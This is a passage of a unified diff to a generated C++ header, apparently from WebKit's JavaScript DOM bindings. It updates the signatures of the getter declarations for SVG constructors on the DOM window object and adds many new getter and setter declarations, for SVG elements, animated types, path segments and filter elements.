 void setJSDOMWindowXPathExceptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGAngleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGAElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAngleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGAngleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGColorConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGAnimatedAngleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedAngleConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedBooleanConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedBooleanConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedEnumerationConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedEnumerationConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedIntegerConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedIntegerConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedLengthConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedLengthConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedLengthListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedLengthListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedNumberConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedNumberConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedNumberListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedNumberListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedPreserveAspectRatioConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedPreserveAspectRatioConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedRectConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedRectConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedStringConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedStringConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGAnimatedTransformListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGAnimatedTransformListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGCircleElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGCircleElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGClipPathElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGClipPathElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGColorConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGColorConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGCursorElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGCursorElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGDefsElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGDefsElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGDescElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGDescElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGDocumentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGDocumentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGElementInstanceConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGElementInstanceConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGElementInstanceListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGElementInstanceListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGEllipseElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGEllipseElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGExceptionConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGGradientElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGGElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGGElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGGradientElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGGradientElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGLengthConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGImageElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGImageElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGLengthConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGLengthConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGMarkerElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGLengthListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGLengthListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGLinearGradientElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGLinearGradientElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGLineElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGLineElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGMarkerElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGMarkerElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGPaintConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGMaskElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGMaskElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGMatrixConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGMatrixConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGMetadataElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGMetadataElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGNumberConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGNumberConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGNumberListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGNumberListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPaintConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGPaintConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGPathSegConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGPathElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGPathSegConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGPreserveAspectRatioConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGPathSegArcAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegArcAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegArcRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegArcRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegClosePathConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegClosePathConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoCubicAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoCubicAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoCubicRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoCubicRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoCubicSmoothAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoCubicSmoothAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoCubicSmoothRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoCubicSmoothRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoQuadraticAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoQuadraticAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoQuadraticRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoQuadraticRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoQuadraticSmoothAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoQuadraticSmoothAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegCurvetoQuadraticSmoothRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegCurvetoQuadraticSmoothRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegLinetoAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegLinetoAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegLinetoHorizontalAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegLinetoHorizontalAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegLinetoHorizontalRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegLinetoHorizontalRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegLinetoRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegLinetoRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegLinetoVerticalAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegLinetoVerticalAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegLinetoVerticalRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegLinetoVerticalRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegMovetoAbsConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegMovetoAbsConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPathSegMovetoRelConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPathSegMovetoRelConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPatternElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPatternElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPointConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPointConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPointListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPointListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPolygonElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPolygonElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPolylineElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGPolylineElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGPreserveAspectRatioConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGPreserveAspectRatioConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGRenderingIntentConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGRadialGradientElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGRadialGradientElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGRectConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGRectConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGRectElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGRectElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGRenderingIntentConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGRenderingIntentConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGTextContentElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGScriptElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGScriptElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGStopElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGStopElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGStringListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGStringListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGStyleElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGStyleElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGSVGElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGSVGElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGSwitchElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGSwitchElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGSymbolElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGSymbolElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGTextContentElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGTextContentElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGTextPathElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGTextElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGTextElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGTextPathElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGTextPathElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGTransformConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGTextPositioningElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGTextPositioningElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGTitleElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGTitleElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGTransformConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGTransformConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowSVGUnitTypesConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowSVGTransformListConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGTransformListConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGTRefElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGTRefElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGTSpanElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGTSpanElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGUnitTypesConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowSVGUnitTypesConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGUseElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGUseElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGViewElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGViewElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGZoomEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGZoomEventConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGComponentTransferFunctionElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGComponentTransferFunctionElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEBlendElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEBlendElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEColorMatrixElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEColorMatrixElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEComponentTransferElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEComponentTransferElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFECompositeElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFECompositeElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEDiffuseLightingElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEDiffuseLightingElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEDisplacementMapElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEDisplacementMapElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEDistantLightElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEDistantLightElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEFloodElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEFloodElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEFuncAElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEFuncAElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEFuncBElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEFuncBElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEFuncGElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEFuncGElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEFuncRElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEFuncRElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEGaussianBlurElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEGaussianBlurElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEImageElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEImageElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEMergeElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEMergeElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEMergeNodeElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEMergeNodeElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEMorphologyElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEMorphologyElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEOffsetElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEOffsetElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFEPointLightElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFEPointLightElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFESpecularLightingElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFESpecularLightingElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFESpotLightElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFESpotLightElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFETileElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFETileElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFETurbulenceElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSDOMWindowSVGFETurbulenceElementConstructor(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsDOMWindowSVGFilterElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
